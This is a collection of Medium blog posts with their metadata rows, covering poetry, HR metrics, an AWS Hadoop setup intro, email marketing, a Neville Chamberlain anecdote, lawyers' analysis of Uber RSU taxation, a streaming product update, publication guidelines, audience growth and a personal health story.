And she, too, was human
and they both sought refuge in this fountain of a pen, the craziness of reflection only deemed acceptable by the puzzle that is this world.
It was unclear to her why the rest of the world did not pack their bags and pursue life.
She sat, as if awaiting, but repeated “as if” to herself, and knew that in a moment —
there would be no more waiting to be alone.
This will be played on the stereo above in the art deco cafe. | https://medium.com/@alessandrapowell/this-will-be-played-on-the-stereo-above-in-the-art-deco-cafe-165f8e360db6 | ['Alessandra Powell'] | 2020-12-26 08:17:20.435000+00:00 | ['Travel', 'Poetry', 'Loneliness', 'Humanity'] |
HR metrics = flaming joke | We live in a supposed era of big data — sorry, Big Data — right now, and as such, every team/silo/organization has to “prove it” with metrics. As a result, there’s been a bunch of discussion about HR metrics of late, typically in the form of won’t-happen-for-a-while concepts like “people analytics.”
Logically it would make sense for HR metrics to be often-considered, as HR touches the biggest spend of any company (hiring people) and theoretically has data on the performance of those people (and their managers). But the whole deal with HR metrics is extremely fraught, for a number of reasons.
HR Metrics Problem №1: No decision-maker cares
This will gradually change, but in general most executives could give 0.2 shits about Human Resources. To many of these guys, who view themselves as world-builders, HR serves these functions:
Processes
Fire drills
Get out the people I don’t like
Hopefully staffed with a few hot 20-something blond girls fresh out of school
Is this normative at all places? No. But almost everywhere I’ve worked or talked to my friends about, this is how executives view HR. It’s not “seat at the table” material. This problem underscores everything else. If you don’t care about the department, well, you won’t care about HR metrics either.
HR Metrics Problem №2: Our relationship with data
This is fraught in all departments right now. Many top decision-makers don’t really understand data, and many organizational processes are set up so that people can off-load the responsibility for the analytics. No bueno. Companies also tend to “throw money at the problem” of data, hiring $$$ data scientists instead of doing the more logical thing, as Peter Cappelli points out:
In short, most companies — and that includes a lot of big ones — don’t need fancy data scientists. They need database managers to clean up the data. And they need simple software — sometimes even Excel spreadsheets can do the analyses that most HR departments need.
Yep. Simplicity matters a lot here.
And №3: the HR metrics we capture and how we do it
Usually this is going to be about turnover, cost per hire, and maybe some employee morale evaluations. The problem is that a lot of this comes from performance reviews, which are awful, or employee engagement surveys, which typically occur once a year and that’s it. (And then no one thinks about it until the process begins the next year.)
Admittedly there are more real-time HR metrics solutions now — Waggl, TinyPulse, etc. — but I wouldn’t say they’re “at scale” in terms of companies using them a lot. It still very much feels like we half-ass HR data; we collect a bunch of stuff once a year, maybe do a few slides on it, and that’s it.
Let’s talk about work, baby, let’s talk about you and me, let’s talk all the good things and the bad things in this newsletter on Thursdays…
Kind of amazing if you think about it, since HR “owns” the people aspect of the business — which should be a really big deal. It isn’t, though. I think that’s largely because no one cares, somewhat because “we’ve always done it that way,” and analyzing supply chain or operations numbers seems more “business-like.” Guys want to feel “business-like” because it’s fun to them.
How can we improve HR metrics?
Couple of ideas:
Make sure the databases where info resides “talk” to each other (as noted above)
Tie everything to cost — how much $$$ is being lost on turnover?
Connect turnover rates back to specific managers, so that they can be ID’d and improved
Calculate cost per hire, but don’t live by that number; cost-cutting measures shouldn’t be the norm when getting good people
Analyze the metrics you have more frequently
Use quick, “pulse” surveys as opposed to once a year stuff
Have actionable returns on the bad parts of the employee satisfaction surveys
Care
Those are just some quick ones off the top of my head. I’m sure there are a million LinkedIn thought leaders right now meowing about People Analytics and how it’s going to change everything, but you know what? It won’t. First off, execs still won’t care. Second off, if you design a “prototype perfect hire” and then try to get 1,000 of those, it just means your company will have tons of homophily. Your ass will get disrupted faster than you say “Johnny from Seattle just designed a new app.”
If you want HR metrics to improve, then, start by caring — then move to tying everything back to the money and being consistent with your analyses.
Anything else you’d add on HR metrics? | https://medium.com/@tedbauer2003/hr-metrics-flaming-joke-30438eeceaea | ['Ted Bauer'] | 2020-12-11 11:32:49.505000+00:00 | ['Hr Technology', 'Future Of Work', 'HR', 'Work', 'Metrics'] |
Deploying Hadoop Cluster on AWS using EC2 instances | Installation and configuration of Infrastructure to deploy our projects often consume a lot of our time which can be used in learning instead. With the help of this post I attempt to make the process easier and save some of your time. Wasting no more of your precious time lets dive right into the subject. While on the article look out for some tips and tricks mentioned as notes to help you out!
In this post I will walk you through the process of configuring and deploying a Hadoop cluster using Amazon EC2 instances in 10 Simple steps.
STEP 1) Create AWS account
For those of you who are new to AWS, AWS(Amazon Web Services) is a cloud computing platform provided by Amazon in a pay-as-you-go model. For more information kindly visit here.
AWS offers certain services in it’s free tier so as to give customers a look and feel of their platform. Luckily for you, the resources used in this post will cost you only as much as you use them and some fall right into the free tier category. Anyone can create an AWS Account with a valid email id and access free tier resources(for first 12 months). | https://medium.com/@ashwini130297/deploying-hadoop-cluster-on-aws-using-ec2-instances-bc845c35cc3 | ['Ashwini Patil'] | 2020-10-19 20:27:22.938000+00:00 | ['Deploy', 'Clustering', 'Hadoop', 'AWS', 'Amazon'] |
Email Marketing. Many email marketers frequently fail to… | If you are currently participating in other types of Internet marketing but not email marketing you should seriously consider why you are avoiding this type of advertising. This is important because email marketing can be a very important part of any Internet marketing campaign.
Many business owners avoid email marketing for fear of being accused of spamming. Internet markets may not have a clear understanding of what is spam and what is not so they avoid participation in email marketing campaigns to avoid the potential for being labeled a spammer.
Why are Internet marketers so afraid of being accused of being purveyors of spam?
This is a common fear for a number of reasons. First of all, there may be harsh penalties associated with sending spam emails. Recipients of spam have the option of reporting the spam to their Internet service provider who will investigate the validity of the claim. If the originator of the email is determined to be a spammer there can be harsh consequences.
Will it be well received by potential customers?
Internet marketers are also afraid of email marketing because they believe it will not be well received by potential customers. This is an important concept because Internet users are bombarded with spam each day. Receiving this quantity of spam each day can be frustrating and can anger some Internet users. These Internet users are not likely to be receptive to email marketing. The fear that these potential customers will view email marketing and stray to competitors keeps many Internet marketers from taking advantage of this type of marketing strategy.
However, it is important to note that despite the prevalent problem with spam, many Internet users are quite receptive to email marketing. This is especially true in situations where they specifically requested to receive more information from the business owner regarding his products and services. Potential clients are particularly receptive to email marketing which provides something of value to the recipient of the email. Emails that contain in-depth articles, useful tips, or product reviews may be appreciated by consumers.
Additionally, items such as e-newsletters and correspondence courses offered via email can be of particular interest to potential customers.
What are E-newsletters?
E-newsletters are typically longer documents than traditional email marketing pieces and can provide a great deal of additional information to the email recipient. Email correspondence courses may be offered in short segments and typically amount to a significant amount of information which is likely to be greatly appreciated by the email recipients.
Email lists are important because email marketing is the best way to connect with customers vs. social media. In fact, you are 6x more likely to get higher click-through rates through emails instead of tweets. Also, email is 40 times more effective at acquiring new customers than Facebook or Twitter.
GetResponse is an email marketing platform. It enables you to create a valuable marketing list of prospects, partners, and clients, so you can develop relationships with them and build a responsive and profitable customer base. | https://medium.com/@mithila-thuduwawatthage/email-marketing-design-tips-5a78750edd69 | ['Mithila Thuduwawatthage'] | 2020-12-25 13:29:16.746000+00:00 | ['Secret Email System', 'Email Marketing', 'Email Marketing Tips', 'Email Marketing Software'] |
Neville Chamberlain and a Cocktail Party | Chamberlain in late 1930s
One Christmas Eve many years ago I found myself at a cocktail party in the home of a painter who, back then, lived in the Cotswolds. As with many cocktail parties — at least the ones I’ve been to — you can sometimes spend a bit of time checking out the pictures on the walls — which in that particular instance were very good — and, if the party is a bit slow at the start, you can also look through the books on the shelves. I was about the third shelf down, to the left of the fireplace, reading the blurb on the back of a history of World War Two when someone came up to me.
“ What are your thoughts on Neville Chamberlain?”
The lady who asked me this was quite elderly, extremely good looking, well dressed and beautifully spoken.
I told her that I thought Chamberlain had been, in my opinion, a reasonably good prime minister at a time when reasonably good prime ministers were very thin on the ground, and that, due to Britain’s lack of military preparedness during the mid-1930s was quite unprepared for war at any time before 1939, a situation that was not wholly of Chamberlain’s making. I went on to say that I felt Chamberlain knew he probably wouldn’t make a good war time prime minister but that he could use the very useful smoke screen put up by Winston Churchill, about the need to rearm, at the same time make overtures to Hitler (that would cost others dearly) that just might give him a chance to get his rearmament programme under way. It was a risk, and Chamberlain knew his policy of appeasement toward Hitler would be used against him. But, he judged, there was probably no other option.
Chamberlain also knew that the piece of paper he waved at the crowds and the cameras during that newsreel on his return from his last meeting with Hitler, would, along with his hope of “peace in our time,” be seen by many as empty and foolish. But I prattled on to my female listener that the piece of paper did serve the intended purpose of giving the mass of the British people hope, allowing them to carry on working (which might ensure the aircraft and the guns were made) at the same time almost unconsciously preparing themselves (with a bit of help from government propaganda) for a forthcoming war. I remember saying to the elderly lady that my own parents told me they had little or no idea that war was inevitable; they simply got on with their daily lives.
When World War II came it seemed more of a natural, inevitable occurrence. In other words Chamberlain had quietly prepared the nation for war, and in September 1939 had enough confidence — and the courage — after Germany’s invasion of Poland, to declare war on Germany.
My listener smiled and then revealed herself to be Neville Chamberlain’s daughter-in-law and that what I had said about Chamberlain was right, and that he had realised at the time he would indeed become a scapegoat, and that his policy of appeasement would be criticised for decades to come, as it has proved to be. She also confirmed that without the breathing space her father-in-law gave Britain we would not have had the aircraft to fight the Battle of Britain, and the will thereafter to carry on alone until Pearl Harbour.
I didn’t get a chance to talk to Chamberlain’s daughter-in-law for long that evening but I’ve always held that brief meeting very close to my heart. | https://stevenewmanwriter.medium.com/neville-chamberlain-and-a-cocktail-party-fa626acf24c0 | ['Steve Newman Writer'] | 2020-06-02 09:53:41.792000+00:00 | ['Neville Chamberlain', 'History', 'World War II', 'Winston Churchill'] |
How Uber Increased Employees’ Income Tax Liability | Just one more way equity incentives often aren’t worth what employees were led to believe, but this time employees have a remedy.
In May 2019 Uber Technologies, Inc. finally went public in an $8 billion IPO. The $45 per share IPO price valued the company at $82.4 billion. Uber delivered its employees’ shares per their Restricted Stock Units (“RSUs”) at the IPO — at that $45 price — even though the RSU agreements provided for Uber to deliver the stock six months later. The stock had declined to about $27 per share six months later when the 180-day “lock-up” period expired and employees could finally sell. So, employees owe income taxes based on a $45 IPO price that they couldn’t realize, and that hasn’t been seen again since opening day. That means they’re being taxed on $45 but received only $27.
Take the following illustrative example. A software engineer goes to work for Uber, receiving a grant of 40,000 Restricted Stock Units, vesting over four years, provided there’s a liquidity event. Suppose she stays the whole four years and then is there for the IPO, so all 40,000 shares fully vest. Seems like she should be rich now, perhaps. But here’s the math.
Uber issued her shares at the $45 IPO price, a face value of $1.8 million — enough for a modest retirement. But Uber’s decision to issue the shares as of the IPO rather than six months later, like it was supposed to, made the tax consequences even worse than they were supposed to be. Because this stock is an outright grant, the proceeds are taxed as ordinary income. Assuming a combined California and Federal tax rate of 52.65%, she owes $947,700 in income tax. Uber withheld only the minimum 37% of the shares against taxes, in effect selling those shares for her at the IPO price, so she received only 25,200 shares but the withholding covered $666,000 of her taxes. That left her owing $281,700. By the time she could sell shares six months post-IPO, however, her 25,200 shares were only worth $27 each.
If she sold her remaining 25,200 shares at that $27 price to cover her tax obligations and diversify her holdings (a sensible strategy), she would net $680,400. After paying the $281,700 in remaining tax, she would have just $398,700 of her $1.8 million left — an effective tax burden of 78%.
‘a
Is that something the affected employees have to live with? For lots of employees, we think the answer is clearly no. Many, maybe all Uber employees’ RSU agreements provided that Uber wasn’t supposed to deliver the RSU shares until six months post-IPO. The IPO caused the RSUs to vest — employees’ rights to those shares became definite — but those shares weren’t supposed to be delivered until the “settlement date” six months later. If Uber had settled six months later, per the RSU agreements, those employees would have been taxed on the $27 per share November 9, 2019 price, not the $45 per share IPO price on May 9, 2019. They would not owe tax on share value they could never realize.
How widespread is this? At the IPO, Uber employees received 47 million shares in “net settlement” of 76 million vested restricted stock units (“RSUs”). Uber withheld (netted out) 37% of these RSUs to cover withholding taxes — the minimum required by law, not the likely amount owed. This withholding helped. But Uber’s decision to deliver at the IPO rather than six months later likely imposed about $200 million in additional needless income tax liability on employees that was not covered by the withholding and therefore comes out of employees’ pockets. Affected employees should talk to a lawyer.
Uber’s Decision to Accelerate Settlement.
Uber could have honored its agreements, but it didn’t. Uber could have avoided employees’ exposure to additional income tax resulting from this acceleration by increasing withholding, but it didn’t do that either — probably because Uber didn’t want to use more of its cash to pay withholding taxes than it had to. Uber also did nothing to remove or shorten the lock-up period so employees could sell at the IPO price, or something closer to it, to cover their tax liability.
Uber knew its decision imposed significant tax risk on the employees. If Uber’s share price increased between the IPO date and the expiration of the lock-up period, the employees would benefit from paying tax based on the lower IPO price. But if the price went down, as often happens and predictably happened here, the employees would still owe taxes based upon the IPO price. (As explained below, a lower price at the conclusion of the lockup was in fact highly probable here, and Uber knew it.)
A few days before the IPO, Uber delivered a memo to employees laying out its purported reasons for the acceleration of the settlement date.
First, Uber said it was required to withhold taxes when RSUs vest and are settled, so they elected to withhold shares (delivering a net number of shares to employees and paying the withholding taxes out of the IPO proceeds). This net settlement approach was chosen, according to Uber, to reduce the number of shares flowing into the market at the end of the lock-up, which could put downward pressure on the share price. Electing the net settlement option made sense. But Uber could have done a net settlement on the original settlement date (six months after the IPO), with the same net number of shares flowing into the market. The net settlement had nothing to do with the acceleration.
Second, Uber said it accelerated the settlement date to lock in the amount of tax it had to fund with cash from the IPO proceeds as withholding for employees. If Uber had delivered the net RSU shares on the contractually-specified settlement date six months later, the share price might have been higher than the IPO price, the compensation to employees greater, and the cash required to fund the withholding greater. Fixing that amount would eliminate the possibility that Uber would have to pay substantially more cash to cover the withholding. And, eliminating the uncertainty of the cost of that withholding would probably increase the share price.
By delivering the shares on the IPO date, if the market price went up, both Uber and the employee would gain from the acceleration of the settlement date. Uber would save cash and the employee’s ordinary income tax liability was locked in at the IPO price. The employee would be taxed at the lower capital gains rate on any increase over that price. If the market price went down, Uber still won — since Uber’s withholding tax liability was locked in at $1.3 billion, the use of proceeds its IPO underwriters agreed upon and the market expected. But employees lost — since their tax liability was locked in at the higher IPO price they could never realize.
Third, Uber said that accelerated settlement could start the capital gains holding period earlier than if the company waited until the end of the lock-up period to settle the RSUs and issue shares. Whether this would be beneficial to the employees of Uber was speculative, depending on whether employees intended to keep their stock or sell it and diversify their assets — which of course is the prudent strategy for most employees, who shouldn’t have a substantial portion of their net worth invested in one stock, especially Uber.
In sum, Uber wasn’t helping anybody but itself. It was doing what was best for Uber, in breach of the RSU agreements, and betting on the future share price with the financial (tax) risk being borne by the employees.
The risk was always unreasonable, and borne by the employees, and Uber knew it.
Did Uber know that it was exposing its employees to unreasonable risk, in fact a probability that they would be worse off? Consider the facts.
As of the IPO, Uber already had raised $24.5 billion in a dozen rounds of private venture funding. Uber issued 180 million shares in the IPO, and post-IPO had 1.7 billion shares outstanding, with the substantial majority of shares becoming freely tradeable following the lock-up period (beginning November 9, 2019). That’s a lot of investor money tied up, some for more than 8 years, and most at valuations significantly less than the IPO price. So the market expected a lot of its investors to cash in by selling their shares, placing downward pressure on the share price, as soon as the lock-up expired.
Uber had other reasons to expect that its market price would decline. As of the IPO Uber allegedly knew of, and failed to disclose, adverse facts concerning the company’s business model, passenger safety, and financial condition. As these adverse facts came to light in the six months following the IPO, the price of Uber’s common stock declined about 40% from the $45 IPO price to $27.01 on November 9, 2019 (the original settlement date). Uber is currently defending a class action lawsuit on behalf of IPO investors making these allegations.
Uber knew that its closest competitor, Lyft, which went public on March 26, 2019 (about six weeks before Uber), had experienced a 22% drop in value from its IPO price by mid-April. Uber and its advisors surely watched Lyft’s experience closely.
Finally, market statistics did not support the gamble that Uber took in unilaterally accelerating the settlement date. Between 2000 and 2017, market data shows that six-month returns on IPOs are negative as compared to the IPO price. This is consistent with the sell-off that is typical upon the expiration of an industry standard 180-day lock-up period. In other words, on average, the market price is lower than the IPO price at the six month mark.
Given these facts, it was probable that Uber’s share price would be lower at the end of the lock-up period. And Uber knew it. Uber knew it was probably imposing substantial additional (needless) income tax liability on its employees and did it anyway.
Why Did Uber Decide to Accelerate the Settlement Date?
So why did Uber decide to impose such a high degree of risk on its employees by accelerating the settlement date?
As suggested above, we think Uber probably determined it would benefit the post-IPO market price to fix its compensation expense concerning the RSU Shares. This removed significant uncertainty concerning 2019 net profits and losses, enabling the actual amount of the compensation expense to be built into the valuation of Uber as of the IPO date. The $3.6 billion in compensation expense that Uber incurred in the quarter ending June 30, 2019 was known to analysts at the time of the IPO, and thus was unlikely to significantly adversely impact the share price after that.
Also, net settlement required Uber to use $1.3 billion, or 16.25% of the IPO proceeds, to pay the withholding taxes for the employees’ RSUs. Uber’s decision to limit the net settlement withholding to the minimum 37% is telling. Uber knew many if not most RSU holding employees would be taxed at a higher rate. Uber wanted to avoid having to use a greater percentage of its IPO proceeds to cover tax withholding on RSUs. Uber avoided this use of funds by exposing its employees, not its IPO proceeds, to the risk of higher taxes — taxes that the employees were unable to mitigate/hedge because the lock up agreement prevented them from covering the entire tax liability by selling shares at any price on the downward path to $27 on November 9, 2019.
Uber’s acceleration of the settlement date not only fixed its compensation expense, creating the certainty that financial markets value, but further ensured that if the market price of the shares increased following the IPO, the resulting higher compensation expense associated with the original November 9, 2019 settlement date would not be higher, adversely affecting Uber’s operating results by increasing its compensation expense.
Uber’s Liability
We represent employees in courts and arbitrations, including some “C” level folks at big companies you’ve heard of. We looked hard at this case to decide whether we think Uber is liable for the additional tax. We think so.
The above analysis shows that Uber knew it was probably significantly increasing RSU holders’ income tax liability by delivering their shares on the IPO date instead of six months later, but did it anyway, for its own benefit. And Uber probably was substantially enriched by that decision in that the $45 IPO share price was likely higher than it would have been had Uber not fixed its RSU compensation expense as of that date. Whether or not Uber was enriched, employees with RSU agreements providing for a November 9, 2019 settlement date clearly accrued a lot more tax liability than they should have because of the acceleration of the settlement date.
Did the contract allow Uber to make that change? We don’t think so. The RSU Agreements we’ve seen allowed Uber to make only limited adjustments. The most relevant one allowed changes to avoid adverse accounting consequences. But this is not about how a transaction is characterized on Uber’s books. It’s a dramatic change in the delivery date of billions of dollars of common stock, with roughly $200 million (our estimate) in predictable adverse tax consequences for employees. We think a court or arbitrator will agree with us.
What should affected current and former employees do?
If you were or are an Uber employee who received a net settlement of your RSUs upon the IPO, you can estimate what Uber’s decision cost you by using the numbers above. As a very rough guideline, use the example above of someone with 10,000 RSUs paying about $2.70 more income tax per RSU . (You can get a precise number if you know your marginal tax rate.) If you had 10,000 RSUs, then unless $27,000 is chump change to you, and really even if it is, you should make sure Uber, and not you, ultimately pay.
Sophisticated business people don’t let themselves get ripped off when they have an economic means to avoid it. We’re taking these cases on contingency, so, so our clients’ investment is minimal, with us taking the financial risk. For those still working at Uber and worried about retaliation for asking Uber to make good on what they did here, see this article on retaliation. Smart employers bend over backwards to avoid even the appearance of retaliation because judgments and settlements can easily run to millions of dollars — not at all worth the risk for employers.
And that’s true even if you lose.
Visit our Uber RSU Claims client site to learn what we can do for affected employees.
Ray E. Gallo & Tracy Tormey
Ray Gallo is a California litigator handling high profile business and employment cases. Current and former executive clients include Todd Lachman (formerly President of Mars Chocolate NA and Mars Global Petcare), Keith Ferrazzi (formerly CMO at Starwood), and Tad Smith (currently CEO at Sotheby’s). Ray primarily prosecutes and defends large scale employment and consumer cases on the Plaintiff’s side. His verdicts and settlements exceed $100 million. His batting average at trial is 850.
Tracy Tormey is a corporate and securities lawyer, formerly a partner at Oppenheimer, Wolff & Donnelly LLP, and General Counsel at EMAK Worldwide, Inc.
Ray and Tracy are representing qualified clients who incurred additional tax liability due to Uber’s acceleration of their RSU settlement date. You can learn more and see if you qualify at https://uberrsuclaims.gallo.law. | https://medium.com/swlh/how-uber-increased-employees-income-tax-liability-f7aa5eba0068 | ['Ray E. Gallo'] | 2020-07-08 17:36:18.521000+00:00 | ['Equity', 'Workplace Retaliation', 'Income Tax', 'Uber'] |
New: Live Stream videos from Cloud Storage. | Dropbox, Google Drive, OneDrive and pCloud with OneStream Live.
OneStream is happy to announce the updated cloud storage integration feature. OneStream now enables users to upload their videos with pCloud along with Dropbox, Google Drive and OneDrive. Apart from that, OneStream allows users to either upload their video files from their own computer and save them in OneStream storage or record and upload their videos directly.
With OneStream Live you can upload videos with three different ways.
Upload from device Upload from cloud storage Capture screen (record directly)
When you upload a video to create a live stream, the video is automatically saved. Your uploaded videos are stored for a maximum of 60 days unless they are used again. As soon as a stored video is used to create a schedule the 60 days counter is reset.
The video storage capacity you have depends on your subscription plan.
Free Plan: There is no storage capacity available for free user. Basic Plan: 5GB is available for Basic plan user. Standard Plan: 20GB is available for standard plan users. Professional Plan: 50GB is available for professional plan user.
You can check your video storage capacity by clicking Videos on the left-hand sidebar.
Previously the maximum video file size allowed was 1 GB. Obviously that posed lots of problems for users who have high-quality videos since full HD or 4k videos can be easily over 1 GB but still be around 30–40 min long.
Well not anymore!
Although there is no file size limit when uploading from Dropbox and Google Drive. OneStream Live increased its capacity to 5GB, which means you can upload your large video files from cloud storage or from your desktop directly.
Upload Large Videos Live Stream at your own Scheduled time
One of the core features of OneStream has been that it is a cloud-based streaming service. We wanted to give our users an ultimate live streaming experience with greater mobility. You can upload and live stream your videos from anywhere in the world without the need for any special software or hardware. With this in mind, integration with cloud storage was always going to be part of natural evolution.
How to upload videos from cloud storage.
OneStream Live made uploading the videos for live streaming simple and efficient. Upload your large video files from your device and Live Stream at your own scheduled time. Here are the simple steps to upload the video streams.
When you log in to your OneStream dashboard click new stream on the sidebar
Now under the video upload section, you will see Dropbox and Google Drive icons.
Click either one to connect your Dropbox, Google Drive, OneDrive or Pcloud account to OneStream. A new window will open which will display your stored videos. Just select the video you want to broadcast. OneStream will start to download your video to its secure servers and display the progress in the progress bar. Write a compelling title, a useful description, select a scheduled time and click Create Stream.
Bonus: Yes, your internet bandwidth will not be used and your internet connection speed does not matter anymore.
We hope that you will like this new addition to OneStream that makes it truly cloud-based and makes uploading bigger files so much easier. As always we would love to hear from you. Please let us know your feelings in the comments section. You can also write to us at [email protected]
Don’t forget to give us your 👏 ! | https://medium.com/@onestreamlive/live-stream-videos-from-cloud-storage-c057e491278d | ['Onestream Live'] | 2020-09-28 05:58:45.790000+00:00 | ['Recorded Music', 'Live', 'Livestreaming Video', 'Live Streaming', 'Livestream'] |
Guidelines for Short Shot City/Short Form City | What is Short Form?
Short form is anything on Medium that is 150 words or less.
1.Bold the first sentence.
2. Don’t include a headline, sub-headline, or picture.
That’s it.
EXAMPLE
This is my first sentence.
Blah, blah, blah, one hundred and fifty times….
If you need more details this is from Medium themselves.
What is Short Shot City?
Okay, with that out of the way, let me tell you about this publication.
This is a place to publish anything (almost) that is 150 words or less in the format described above. Poems, rants, daily thoughts, ect.
How to Write For US?
I’ve decided to make everyone editors like they do on the Partnered Pen. It just simplifies things a lot. Post in the comments if you are interested and I will add you as an editor.
We’ll probably cap it at some point though if there is a lot of interest.
What We Will Publish
Pretty much anything that fits the guidelines above.
Stuff written by openly racist and hateful asshats are really the only type of posts that will get shit canned immediately. And you will be banned and blocked you of course.
I’m a 50 year old Gen Xer who does stand up comedy, so my skin is pretty thick and my tolerance level is pretty high, so most things will probably fly.
On the other hand, I don’t have the time to moderate, so if you post something screeching out an extreme point of view and you get scorched in the comments by other writers, I probably won’t step in to save you.
I hope this place doesn’t turn into a shit-fest flame war like I’ve seen Facebook groups do in the past, but if it does I’ll deal with it somehow.
The Facebook Group
Anyone that has been around Medium for a while knows that one of the best way to drive readers to your work is via the Medium groups on Facebook. To that end, I’ll be creating one soon. Once it is up I’ll post a link and you are all free to join it as well and share your stuff.
UPDATE:
Got the Facebook group up. Join here.
https://www.facebook.com/groups/2848726658735998/about
Looking forward to seeing all the great short form work that we will be publishing here soon! | https://medium.com/short-shots-city/guidelines-for-short-shot-city-short-form-city-8f088a493a62 | ['Steve B Howard'] | 2020-12-04 03:58:46.433000+00:00 | ['Short Shots City', 'Submission Guidelines', '150 Word Story', 'Short Form', 'Short Read'] |
I Have Got Over 1K Followers On Medium Just Because Of Making Videos On YouTube | I am writing on Medium from the past one and a half year and I am hopeful that this journey of me being on Medium last longer. When I just joined Medium getting viewers on your Medium stories was the most hectic job. You only get more viewers on your Medium stories when you publish your story in a big publication or getting curated in a topic. Curation is an alien thing for me, never happened with me because I am writing on Medium and sometimes my stories aren’t just worth curating.
Getting curated or published in a popular publication might be an easy job compared to getting followers on Medium. When I was struck in getting more followers on Medium I started uploading videos about Medium. In my videos, i have discussed everything a beginner writer needs to know. I have made a Medium Everything playlist on YouTube where till now I have uploaded over 19 videos about Medium. These videos generate 1,000 to 2,000 viewers every month and people check out my articles and follow my Medium account from there.
I have talked to some Medium writers who are regularly curated or published in popular publications and they aren’t getting more followers and try very hard to reach their first 1,000 followers.
If you think just publishing articles on popular publications on Medium as well as Getting curated is the end of the Medium promotion then you are wrong. There are literally hundreds of ways through which you can get more followers on your Medium profile.
I have over 2.8K followers and have a goal to reach to 10K at the end of this blessed year. And here is something i know about getting more followers on Medium.
It takes time to build yourself a following on Medium
If you are making videos on YouTube about Medium or your selected niche, it takes time to get traffic because of the competition and the low chance of getting seen. I have started making videos on YouTube in June 2017 and it takes me nearly 3 years to reach 3.2K Subscribers.
If you want to start uploading videos about a topic that you are interested in then the best thing to do is to do keyword research. Making videos isn’t easy and it takes roughly two hours if you want to properly optimize your videos for the search engine.
We can apply the same philosophy here for writers who want to get more following on Medium. In the section below, I have shared some of the strategies that I use to promote the Medium content that ultimately generates me more followers. But maybe during your first month, you didn’t get good traction but it well worth it if you stay consistent and generate content on other platforms as I have mentioned in the paragraph below;
My Medium Marketing Strategy:
To write more stories on this platform. The more content you generate the more the chances that your work will be noticed somewhere. One good thing about famous writers on Medium is that they are targeting different publications for different kinds of stories. For example, Tim Dinning writes 10 stories every week on Medium. To Make More Videos about Medium on YouTube: My Channel is already monetized and I have a sizeable Medium member subscribed to my YouTube channel. This gives me the opportunity to make more insightful videos for those searching for Medium related keywords. To Write more answers on Quora: The Medium topic on Quora has more than 22,000 followers and i am one of the most viewed writes on Medium that my Medium related answers received over 21,000 views.
Join my email list to stay in touch. | https://medium.com/menlo-office/i-have-got-over-1k-followers-on-medium-just-because-of-making-videos-on-youtube-42cefe6a114e | ['Aamir Kamal'] | 2020-07-09 04:20:46.357000+00:00 | ['Life Lessons', 'Médium', 'Productivity', 'Digital Marketing', 'Writing'] |
Peanut Butter Did a Number on My Digestive System | It all started a couple of days before Diwali when I decided to precariously indulge in one of India’s self-proclaimed, bourgeois delicacies: Cup Noodles. And no, I wasn’t influenced by Ichiraku Ramen.
At the expense of dinner, I gulped down two whole cups that night and crashed out on the bed.
The next day, I went about the first half at work, with ease, completely oblivious to the impending complications that would keep me sealed to the toilet seat for nearly a month.
Half-past lunch, I sat down at my desk, stoically typing away at the keys of my laptop. It barged in uninvited, a daily visitor. Paying heed to its request, I got up and rushed to the toilet.
I don’t know about you, but I love a good dump. It helps me cleanse much more than just my stomach, a real stressbuster.
An hour later, the good moments reoccurred, not once, but several times. Seven episodes in, and I called it a day!
Diarrhea makes me feel super exhausted. Though, a good night’s rest would drive away the fatigue. But that day was different. It was accompanied by an unbearable, throbbing pain searing through the anal cavity. I could easily compare it to skin being ruptured by barbed wire.
I was still in the office, and it was too painful for me to not speak of it. Taking the advice of my colleagues, I took a stroll down the street to the coconut vendor. The tender coconut water took me off the pain wave for a while. Even so, I knew it would somehow return.
Consulting Dr. Google and the Tremors of Defecation
The next morning, I woke up anew.
Like every other day, I went to the loo to finish my deed. As I was beginning to pass stools, I was jolted forwards by the pain that had returned. I cursed myself out as I continued to remain seated. Every bowel movement would beckon insufferable pain.
My hands stiff, I held on to my knees as firmly as I could. Grinding my teeth, I tried every bodily gesture that would signal the slightest relief from the violent convulsions. It was something I had never experienced before, and I loathed it.
Out of the bathroom, I leaped onto my bed, gasping for breath. My entire body turned reddish. Somehow, I struggled myself out of the room to get on with the day. I decided not to skip work.
The pain was ever-present, and it would last for about five hours after a bowel movement. My gait was that of a senile man. Every passerby would notice me falter, for I couldn’t even bring myself to act as if nothing had happened.
The funny part was watching people pull their masks back up, thinking I was stricken by the infamous Coronavirus disease.
Going to the toilet was a nightmare. Sometimes, I would try to turn my back on nature but to no avail.
It slowly developed into a vicious cycle. Every morning, the pain would start in the toilet, lasting throughout the day, and slowly subsiding with sunset. | https://medium.com/writers-blokke/peanut-butter-did-a-number-on-my-digestive-system-ea6c44ab7121 | ['Abishek H'] | 2021-02-15 03:08:06.232000+00:00 | ['Health', 'Lifestyle', 'Pain', 'Anal Fissure', 'Digestion'] |
Poly Tribalism | At a recent community gathering, Kate Beecroft expressed a fascinating idea. She talked about “poly tribalism”: many of us are part not just of one community, but of a bunch of communities. Yes, there are some communities where we are mostly passive observers on the periphery. But many of us still actively engage with several communities at the same time. We genuinely love them, they all play a role in our lives, but often for different reasons.
And yet being an active part of different communities comes with challenges: how do I split my energy, time and attention between the groups? Should I feel guilty if I go back and forth between different groups? Why does switching between communities sometimes feel like cheating? What about sharing the same information across different groups?
While in the past, maybe some of us had one dominant tribe (our village, our church), I sense that poly tribalism is a reality that will only become stronger in the future: different communities will cater to different parts of our identity.
As someone trying to nurture meaningful communities, there is part of me that finds poly tribalism scary: will my community ever be good enough? Will members just leave to another group when something isn’t quite working out for them? Will people become less and less committed? Is there even a point for my group? Or are all of my members’ needs already met somewhere else?
These are fair questions to ask. Yet I don’t think that the answer is for a community to demand “exclusivity” from it’s members. That’s neither realistic nor productive. Rather I see poly tribalism as an opportunity: it forces us as community to be extra clear about what we stand for (and be explicit about what not), about what the value is that we want to create, and — most importantly — to set clear boundaries of what the commitment is of members to be part of the group.
As always, grateful to hear your thoughts and perspectives! | https://medium.com/together-institute/poly-tribalism-904df5e276af | ['Fabian Pfortmüller'] | 2020-01-19 15:56:01.229000+00:00 | ['Community Building', 'Community Engagement', 'Group Dynamics', 'Network', 'Community'] |
Five lessons from Sitra’s circular economy roadmap workshops | A national plan for implementing circular economy — easy, right?
In 2016, the Finnish Innovation Fund Sitra launched a circular economy roadmap outlining the actions, pilot projects and goals to be reached by 2025 to make Finland a globally competitive leader in circular economy.
